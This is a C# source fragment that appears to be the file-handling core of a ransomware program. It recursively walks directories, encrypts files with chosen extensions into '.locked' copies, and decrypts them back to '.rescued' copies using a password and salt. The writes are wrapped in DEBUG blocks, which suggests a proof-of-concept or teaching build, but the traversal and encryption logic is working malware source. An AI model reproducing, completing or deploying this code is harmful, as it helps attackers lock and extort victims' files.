private void ProcessFile2DecCallback(object obj)
{
TaskObject taskObject = (TaskObject)obj;
var filePath = taskObject.FilePath;
byte[] bytes2DecryptWSalt = File.ReadAllBytes(filePath);
byte[] salt = this.decrypter.ExtractSalt(bytes2DecryptWSalt);
byte[] bytes2Decrypt = this.decrypter.
ExtractBytes2Dec(bytes2DecryptWSalt);
try
{
byte[] plainText = this.decrypter.DecryptBytes(
bytes2Decrypt, taskObject.Pwd, salt
);
#if DEBUG
string fileNoExtension =
Path.GetFileNameWithoutExtension(filePath);
string fileDir = Path.GetDirectoryName(filePath);
string rescuedPath = Path.Combine(fileDir, fileNoExtension +
".rescued");
Writter.WriteBytes2File(plainText, rescuedPath);
#else
#endif
}
catch (CryptographicException)
{
Console.WriteLine("Process File 2 Decrypt Thread " +
"Callback Exception");
System.Environment.Exit(1);
}
}
private void ProcessDirectory(string path)
{
#if DEBUG
Console.WriteLine("Processing dir: " + path);
#endif
string[] files = Directory.GetFiles(path);
string[] childDirectories = Directory.GetDirectories(path);
foreach (string filePath in files)
{
string ext = Path.GetExtension(filePath);
TaskObject taskObject = new TaskObject(filePath, this.pwd);
if (this.IsEncryptionMode())
{
if (this.IsValidPlainTextExtension(ext))
{
var resetEvent = new ManualResetEvent(false);
ThreadPool.QueueUserWorkItem(
arg =>
{
ProcessFile2EncCallback(taskObject);
resetEvent.Set();
});
resetEvent.WaitOne();
}
}
else
{
if (this.IsValidCipherTextExtension(ext))
{
var resetEvent = new ManualResetEvent(false);
ThreadPool.QueueUserWorkItem(
arg =>
{
ProcessFile2DecCallback(taskObject);
resetEvent.Set();
});
resetEvent.WaitOne();
}
}
}
foreach (string dir in childDirectories)
{
this.ProcessDirectory(dir);
}
}
private void ProcessFile2EncCallback(object obj)
{
TaskObject taskObject = (TaskObject)obj;
var filePath = taskObject.FilePath;
byte[] generatedSalt = this.encrypter.GenerateRandomSalt();
byte[] bytes2Encrypt = File.ReadAllBytes(filePath);
byte[] encrypted = this.encrypter.EncryptBytes(
bytes2Encrypt, taskObject.Pwd, generatedSalt
);
#if DEBUG
Writter.WriteBytes2File(encrypted, filePath + ".locked");
Console.WriteLine("[T: " + Thread.CurrentThread.ManagedThreadId +
"] " + filePath + " | " +
Utilities.ConvertBytes2B64(generatedSalt));
Console.WriteLine("Encrypted bytes: " +
Utilities.ConvertBytes2B64(encrypted));
#else
#endif
}